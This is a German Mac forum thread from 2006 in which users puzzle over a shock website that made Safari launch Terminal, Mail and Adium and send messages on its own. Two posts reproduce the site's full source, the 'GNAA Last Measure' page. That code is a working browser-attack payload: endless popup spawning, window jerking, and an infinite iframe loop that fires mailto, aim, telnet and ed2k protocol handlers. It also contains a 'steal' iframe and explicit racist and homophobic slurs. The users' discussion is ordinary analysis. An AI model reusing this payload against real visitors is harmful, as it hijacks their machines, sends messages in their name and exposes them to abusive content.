Extreme OSX und Safari Sicherheitslücke?

Holyfield · 27.08.2006

Hallo,

Eins vorweg, habe die Suche verwendet und konnte nichts finden.

Also bei mir ist gerade etwas ziemlich beunruhigendes passiert.
Ich bin mit meinem G5 iMac, OSX Tiger (alle updates) und Safari auf der Suche nach der Stephen Coldbert Greenscreen Challenge auf (1) gegangen.

Schnell ist mir klar geworden das dies nur einer von diesen Schockseiten war und wollte auf die vorherige Seite gehen was jedoch nicht ging. Schliessen von Safari war auch nicht möglich, fast so als ob das Programm abgestürtzt wäre. Nach ca 30sec sind plötzlich folgende Sachen passiert.

Terminal, Mail und Adium wurden selbständig gestartet.
Bei allen Programmen wurden selbständig Aktionen durchgeführt.
Bei Mail und Adium wurden verschiedene Nachrichten verschickt, da sich die Fenster immer sehr schnell öffneten und schliessten konnte ich nicht erkennen was und an wenn gesendet wurde.
Bei Terminal wurden Befehle ausgeführt, konnte aber auch nicht erkennen welche.

Dannach wurde Frontrow gestartet.

Musste meinen iMac durch den Powerbutton auscchalten.

Falls das Theme schon behandelt wurde dann sorry, aber was genau ist da jetzt passiert und muss ich mir sorgen machen?

Danke

.mac · 27.08.2006

gib doch mal nen link von der seite, todesmutig wie ich bin, würd ich das auch mal versuchen wollen.

dasich · 27.08.2006

Ich auch, gib mal einen Link bitte. Da würde ich doch glatt noch schnell den Powermac anschalten und auf meine, durch Tabletten verdeckte fette Grippe, die mich mit Powerbook im Bett hält, vergessen. *Bin so am Arsch, so krank war ich seit Jahren nicht mehr, jammer*

Frank T.

Holyfield · 27.08.2006

Also auf der Seite sind ziemlich heftige Bilder, ausserdem sollte man unbedingt den Ton ausschalten.

Viel Spass.

Edit: Da der Effekt bereits bestätigt wurde ist der Link wieder weg.

TroyMcLure · 27.08.2006

Das klingt wahrlich merkwürdig, haltet uns mal auf dem Laufenden.

apfelnase · 27.08.2006

so todesmutig bin ich net, aber gespannt...

.mac · 27.08.2006

also den link mach mal schnell wieder weg. die bilder sind ja wirklich ekelerregend und den von dir beschriebenen effekt hatte ich auch.
skype, mail und das terminal tickten ziemlich durch. ich weiss nicht, ob das wirklich eine sicherheitslücke ist, aber nervig ist es auf jeden fall. mit deaktiviertem javascript passiert nichts.

ich empfehle niemanden, auf den link oben zu klicken!

Holyfield · 27.08.2006

.mac schrieb:
also den link mach mal schnell wieder weg. die bilder sind ja wirklich ekelerregend und den von dir beschriebenen effekt hatte ich auch.
skype, mail und das terminal tickten ziemlich durch. ich weiss nicht, ob das wirklich eine sicherheitslücke ist, aber nervig ist es auf jeden fall.

ich empfehle niemanden, auf den link oben zu klicken!

Also wenn das keine Sicherheitslücke sein soll dann weiss ich auch nicht mehr.

TroyMcLure · 27.08.2006

Also draufklicken will ich da dann doch nicht, aber über Ethereal oder Ähnliches müsste man doch nachvollziehen können was da passiert.

Interessant wäre es schon ;-)

felix_wtal · 27.08.2006

schicke den link doch mal apple, vielleicht kennen die dieses Verhalten ja noch nicht.
wie wäre es denn mal mit einem viren scanner, dann kann man vielleicht herraus finden was dort passiert.
gruß
felix

.mac · 27.08.2006

ich bin wirklich zu wenig drin im thema browsersicherheit, auf jeden fall wird da schabernack mit javascript getreiben. wie javascript aber programme starten kann (mail, skype, terminal) und da eingaben vornehmen kann, ist mir wirklich schleierhaft. ich dachte javascript wird nur innerhalb des browsers ausgeführt.
möglicherweise kann sich ja mal ein webentwickler die seite runterladen und den quelltext studieren, meine kenntnisse gehen über ein bisschen html nicht heraus.

kalteente · 27.08.2006

Habe gerade vermutlich besagte seite getestet.
Da geht's ja richtig rund! Die programm drehen voellig durch. Schnell das ibook ausgeknipst, bevor die website irgendwelche mails verschicken konnte.

kalteente

cerux · 27.08.2006

Javascript? Ist es denn browser-abhängig oder wiederholt sich das beschriebene Verhalten mit verschiedenen Browsern?

.mac · 27.08.2006

ich habe nur safari getestet, einmal mit und einmal ohne javascript. mehr hält mein magen dann auch heut abend nicht mehr aus.

TroyMcLure · 27.08.2006

Nur mit JavaScript sollte sowas nicht gehen, in Verbindung mit Java vielleicht, ActiveX sollte einem Mac ja egal sein :-/
Ich hab ja den link nicht gesehen, aber hat mal jemand danach gegoogelt, ob die Sache schon irgendwo bekannt ist?

Tensai · 27.08.2006

Im Firefox hat nur der Browser verrückt gespielt und der Opera hat kein Problem damit. Soweit so gut. Im Opera konnte ich auch den Quellcode der Seite "ohne Gefahr" ansehen und da ist einiges mit Javascript gemacht.

Code:

<script type="text/javascript">
      function altf4key() { if (event.keyCode == 18 || event.keyCode == 115) alert("Our lawyer has informed us that we need a warning. So, if you are under the age of 18 or find this offensive, please leave immediately"); }
function ctrlkey() { if (event.keyCode == 17) alert("Our lawyer has informed us that we need a warning. So, if you are under the age of 18 or find this offensive, please leave immediately"); }
function delkey() { if (event.keyCode == 46) alert("LAST MEASURE BY ....and others.\n"); }

var nom = navigator.appName.toLowerCase();
var agt = navigator.userAgent.toLowerCase();
var is_major  = parseInt(navigator.appVersion);
var is_minor  = parseFloat(navigator.appVersion);
var is_ie     = (agt.indexOf("msie") != -1);
var is_ie4up  = (is_ie && (is_major >= 4));
var is_nav    = (nom.indexOf('netscape')!=-1);
var is_nav4   = (is_nav && (is_major == 4));
var is_mac    = (agt.indexOf("mac")!=-1);
var is_gecko  = (agt.indexOf('gecko') != -1);
//  GECKO REVISION
var is_rev = 0
if (is_gecko) {
    temp = agt.split("rv:")
    is_rev = parseFloat(temp[1])
}

function procreate() {
    for(i = 0; i < 16; i++) {
        popUp("index.php?popup=1");
    }
}

function popUp(URL) {
    day = new Date();
    id = day.getTime();
    eval("page" + id + " = window.open(URL, '_blank', 'toolbar=0,scrollbars=0,location=1,statusbar=0,menubar=0,resizable=0,width=640,height=583');");
}
goatseflash  = '<div id="hello" style="z-index: 50; position: fixed; top: 0px; left: 0px; width: 100%; height: 100%;">';
goatseflash += '  <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="100%" height="100%">';
goatseflash += '    <param name="movie" value="flash/hello.swf" />'
goatseflash += '    <param name="wmode" value="transparent" />';
goatseflash += '  </object>'
goatseflash += '</div>';
    
function load_goatse() {
  document.body.innerHTML += goatseflash;
  setTimeout("unload_goatse()", 3000); // 3s
}
 
function unload_goatse() {
  document.getElementById("hello").style.display = 'none';
}

var protos = [ 
        "lm.pdf",
...
        "rlogin://1.1.1.1:80",
        "telnet://1.1.1.1:80",
        "aim:addbuddy?listofscreennames=HY,LOL,HY,LOL,HY,LOL,join,the,gnaa,2006,RECRUITMENT,DRIVE,heartiez2incog&groupname=gnaa",
        "mailto:JOIN@THE.GNAA?subject=2006_RECRUITMENT_DRIVE&body=www.gnaa.us",
        "ed2k://|file|Gayniggers From Outer Space [GNAA Digitally Remastered].avi|134174720|F8AF9D8A7091CD7A7B8968C9EB397C02|/",
        ];
function add(str) {
  div = document.getElementById('goatse');
  div.innerHTML = '<iframe style="width: 1; height: 1;" src="' + str + '"></iframe>';
}
    
function ruin() {
  document.body.innerHTML += '<div id="goatse">Y HALLO THAR!</div>';
  while (1) {
    for (i = 0; i < protos.length; i++) {
      add(protos[i]);
    }
  }
}
    </script>

und

Code:

    <script type="text/javascript">
    <!--
    var images = new Array();
    var imagecount = 42;
    images[0] = 'images/XXXXX.gif';
...
    images[41] = 'images/trogg.wav';

    var delay = 10;
    var step = .2;
    var curstep = 0;

    window.resizeTo(800, 600);
    var centerX = (self.screen.width - document.body.clientWidth) / 2;
    var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;
    movew0w();

    function movew0w() {
      var j;
      for (j = 0; j < 5; j++) {
        curstep += step / 5;
        var factorX = Math.sin(curstep * 6.1) * 0.9;
        var factorY = Math.cos(curstep * 3.7) * 0.9;

        factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)
                    * (Math.sin(10+curstep/(10+j))+0.2)
                    * Math.cos((curstep + j*25)/10);
        factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)
                    * (Math.sin(10+curstep/10)+0.2)
                    * Math.cos((curstep + j*25)/10);
        self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));
      }
      document.body.background = images[(Math.floor(curstep) % imagecount) + 1];
      setTimeout("movew0w()", delay);
    }
    // -->
  </script>

walfreiheit · 27.08.2006

Der Verweis würde mich trotzdem interessieren. Wenn nötig auch per PN! Danke!

adi1981 · 27.08.2006

hier ein bild des geschehens:

in2itiv · 27.08.2006

....für alle die sich am code austoben wollen:

HTML:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
 <head>
    <title>GNAA Last Measure Unified X</title>
    <meta name="keywords" content="">
    <script type="text/javascript">
      function altf4key() { if (event.keyCode == 18 || event.keyCode == 115) alert("Our lawyer has informed us that we need a warning. So, if you are under the age of 18 or find this offensive, please leave immediately"); }
function ctrlkey() { if (event.keyCode == 17) alert("Our lawyer has informed us that we need a warning. So, if you are under the age of 18 or find this offensive, please leave immediately"); }
function delkey() { if (event.keyCode == 46) alert("LAST MEASURE BY PENISBIRD, Rolloffle, and Rucas.\nStarring:\nSpin\nTubgirl\nLemonparty\nBob Goatse\nPenisbird\nPillowfight\nChristmas\nRusty's Wife\nWhat the fuck? That guy's ass is showing in his baby's picture!\n\n\nTotal, complete, all-versions, popup blocker bashing-to-pieces by goat-see\nnhey.swf by rkz\nPROPS TO GNAA.  LOL HY -- DiKKy (GNAA NORWAY CORRESPONDANT)\nUpdated by sam, Jmax, JacksonBrown, Dessimat0r, timecop, and others.\n"); }

var nom = navigator.appName.toLowerCase();
var agt = navigator.userAgent.toLowerCase();
var is_major  = parseInt(navigator.appVersion);
var is_minor  = parseFloat(navigator.appVersion);
var is_ie     = (agt.indexOf("msie") != -1);
var is_ie4up  = (is_ie && (is_major >= 4));
var is_nav    = (nom.indexOf('netscape')!=-1);
var is_nav4   = (is_nav && (is_major == 4));
var is_mac    = (agt.indexOf("mac")!=-1);
var is_gecko  = (agt.indexOf('gecko') != -1);
//  GECKO REVISION
var is_rev = 0
if (is_gecko) {
    temp = agt.split("rv:")
    is_rev = parseFloat(temp[1])
}

function procreate() {
    for(i = 0; i < 16; i++) {
        popUp("index.php?popup=1");
    }
}

function popUp(URL) {
    day = new Date();
    id = day.getTime();
    eval("page" + id + " = window.open(URL, '_blank', 'toolbar=0,scrollbars=0,location=1,statusbar=0,menubar=0,resizable=0,width=640,height=583');");
}
goatseflash  = '<div id="hello" style="z-index: 50; position: fixed; top: 0px; left: 0px; width: 100%; height: 100%;">';
goatseflash += '  <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="100%" height="100%">';
goatseflash += '    <param name="movie" value="flash/hello.swf" />'
goatseflash += '    <param name="wmode" value="transparent" />';
goatseflash += '  </object>'
goatseflash += '</div>';
    
function load_goatse() {
  document.body.innerHTML += goatseflash;
  setTimeout("unload_goatse()", 3000); // 3s
}
 
function unload_goatse() {
  document.getElementById("hello").style.display = 'none';
}

var protos = [ 
        "lm.pdf",
        "jews.wmv",
        "irc://irc.gnaa.us/gnaa",
        "irc://irc.efnet.org/politics",
        "news:alt.flame.niggers",
        "news:alt.flame.faggots",
        "mailto:JOIN@THE.GNAA?subject=2006_RECRUITMENT_DRIVE&body=www.gnaa.us",
        "callto://JOIN_THE_GNAA__2005_RECRUITMENT_DRIVE",
        "aim:GoIM?screenname=Gary_Niger&message=HY+LOL+HY+LOL",
        "rlogin://1.1.1.1:80",
        "telnet://1.1.1.1:80",
        "aim:addbuddy?listofscreennames=HY,LOL,HY,LOL,HY,LOL,join,the,gnaa,2006,RECRUITMENT,DRIVE,heartiez2incog&groupname=gnaa",
        "mailto:JOIN@THE.GNAA?subject=2006_RECRUITMENT_DRIVE&body=www.gnaa.us",
        "ed2k://|file|Gayniggers From Outer Space [GNAA Digitally Remastered].avi|134174720|F8AF9D8A7091CD7A7B8968C9EB397C02|/",
        ];
function add(str) {
  div = document.getElementById('goatse');
  div.innerHTML = '<iframe style="width: 1; height: 1;" src="' + str + '"></iframe>';
}
    
function ruin() {
  document.body.innerHTML += '<div id="goatse">Y HALLO THAR!</div>';
  while (1) {
    for (i = 0; i < protos.length; i++) {
      add(protos[i]);
    }
  }
}
    </script>
    <link rel="icon" type="image/x-icon" href="favicon.ico" />
    <link rel="shortcut icon" type="image/x-icon" href="favicon.ico" />
    <style type="text/css">
      html {
        height: 100%;
	width: 100%;
        overflow: hidden;
      }
      body {
        height: 100%;
	width: 100%;
        margin: 0;
        padding: 0;
      }
    </style>
  </head>
<body style="background-image: url(images/abez2.wav); background-color: #FFFFFF;" 
  onload="load_goatse();document.goatse.reset();movew0w();setTimeout('ruin()', 20);" 
  onmousemove="document.goatse.reset();movew0w();procreate();"
  onkeydown="altf4key();ctrlkey();delkey();procreate();"
  onunload="document.goatse.reset();movew0w();procreate();"
  onmouseover="document.goatse.reset();movew0w();procreate();">
    <script type="text/javascript">
    <!--
    var images = new Array();
    var imagecount = 42;
    images[0] = 'images/penisbird.gif';
    images[1] = 'images/awesome.jpg';
    images[2] = 'images/hello.jpg';
    images[3] = 'images/hotblowjob.jpg';
    images[4] = 'images/zoidberg.jpg';
    images[5] = 'images/tubgirl.jpg';
    images[6] = 'images/harlequin1.jpg';
    images[7] = 'images/Pain2.jpg';
    images[8] = 'images/harlequin2.jpg';
    images[9] = 'images/Pain3.jpg';
    images[10] = 'images/harlequin3.jpg';
    images[11] = 'images/Pain4.jpg';
    images[12] = 'images/Pain5.jpg';
    images[13] = 'images/stretch.jpg';
    images[14] = 'images/stopracism.jpg';
    images[15] = 'images/rustina.jpg';
    images[16] = 'images/pooped.jpg';
    images[17] = 'images/Pain.jpg';
    images[18] = 'images/freak.jpg';
    images[19] = 'images/Untitled.jpg';
    images[20] = 'images/pillowfight.jpg';
    images[21] = 'images/loopback.jpg';
    images[22] = 'images/lemonparty.jpg';
    images[23] = 'images/christmas.jpg';
    images[24] = 'images/weightlifter.jpg';
    images[25] = 'images/spin.gif';
    images[26] = 'images/lolichan.wav';
    images[27] = 'images/eska.wav';
    images[28] = 'images/fury.wav';
    images[29] = 'images/popeye.wav';
    images[30] = 'images/kirk.wav';
    images[31] = 'images/abez2.wav';
    images[32] = 'images/original.wav';
    images[33] = 'images/rkz.wav';
    images[34] = 'images/blackman.wav';
    images[35] = 'images/jesuitx1.wav';
    images[36] = 'images/rucas.wav';
    images[37] = 'images/jesuitx2.wav';
    images[38] = 'images/jizzy.wav';
    images[39] = 'images/sam.wav';
    images[40] = 'images/abez.wav';
    images[41] = 'images/trogg.wav';

    var delay = 10;
    var step = .2;
    var curstep = 0;

    window.resizeTo(800, 600);
    var centerX = (self.screen.width - document.body.clientWidth) / 2;
    var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;
    movew0w();

    function movew0w() {
      var j;
      for (j = 0; j < 5; j++) {
        curstep += step / 5;
        var factorX = Math.sin(curstep * 6.1) * 0.9;
        var factorY = Math.cos(curstep * 3.7) * 0.9;

        factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)
                    * (Math.sin(10+curstep/(10+j))+0.2)
                    * Math.cos((curstep + j*25)/10);
        factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)
                    * (Math.sin(10+curstep/10)+0.2)
                    * Math.cos((curstep + j*25)/10);
        self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));
      }
      document.body.background = images[(Math.floor(curstep) % imagecount) + 1];
      setTimeout("movew0w()", delay);
    }
    // -->
  </script>
 <div>
  <object id="x" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" height="1" width="1">
    <param name="ActivateApplets" value="1" />
    <param name="ActivateActiveXControls" value="1" />
  </object>
 </div>
  <table>
    <tr>
      <td valign="middle">
        <div style="text-align: center;">
          <a href="http://www.gnaa.us/"><img src="gnaa.png" alt="GNAA" /></a>
          <br />
          <br />
                    <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="Neue_Dateien/fpdownload.macromedia.com/get/shockwave/cabs/flash/swflash.cab#version=6,0,0,0">
              <param name="movie" value="flash/first_opener.swf" />
              <param name="quality" value="high" />
            </object>
                  </div>
      </td>
    </tr>
  </table>
   <div>
  <!-- This object plays the "hey everybody, I'm watching gay porno!" sound -->
  <object classid= "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="Neue_Dateien/fpdownload.macromedia.com/get/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="1" height="1" id="hey">
    <param name="movie" value="flash/hey.swf" />
    <param name="quality" value="high" />
  </object>
  <script type="text/javascript">
    <!--
    var audio = new Array();
    var audiocount = 0;
    for (i = 0; i < audiocount; i++) { 
      setTimeout('document.getElementById("audio").innerHTML += \'<embed src="' + audio[i] + '" loop="true" />\';', 6000 * (i/2));
    }
    // -->
  </script>
  <div id="audio"></div>
  <applet code="LastCoffee.class" width="100" height="100" />
</div>
   <div>
    <iframe style="width: 1px; height: 1px;" src="index.php?steal=1&amp;key=ffffffffbb0f2d073a4dc2fd"></iframe>
    <iframe style="width: 1px; height: 1px;" src="lm.pdf"></iframe>
    <iframe style="width: 1px; height: 1px;" src="jews.wmv"></iframe>  
    <br />
    bsd  
   </div>
    <form onreset="procreate();" onsubmit="procreate();" action="#" id="goatse" name="goatse">
    <p><span style="background-color: #ffffff; border: thin solid; color: #000000;">GNAA Gay Niggers Timecop</span></p>
  </form>
</body>
</html>

performa · 27.08.2006

Oh.. Ein Programm (ed2kHelperScript.app) wird auch heruntergeladen und soll geöffnet werden.
Niedlich...

Extreme OSX und Safari Sicherheitslücke?

Holyfield

Mitglied

.mac

dasich

Aktives Mitglied

Holyfield

Mitglied

TroyMcLure

Aktives Mitglied

apfelnase

.mac

Holyfield

Mitglied

TroyMcLure

Aktives Mitglied

felix_wtal

Mitglied

.mac

kalteente

Aktives Mitglied

cerux

Aktives Mitglied

.mac

TroyMcLure

Aktives Mitglied

Tensai

Aktives Mitglied

walfreiheit

Aktives Mitglied

adi1981

Aktives Mitglied

in2itiv

Aktives Mitglied

performa

Mitglied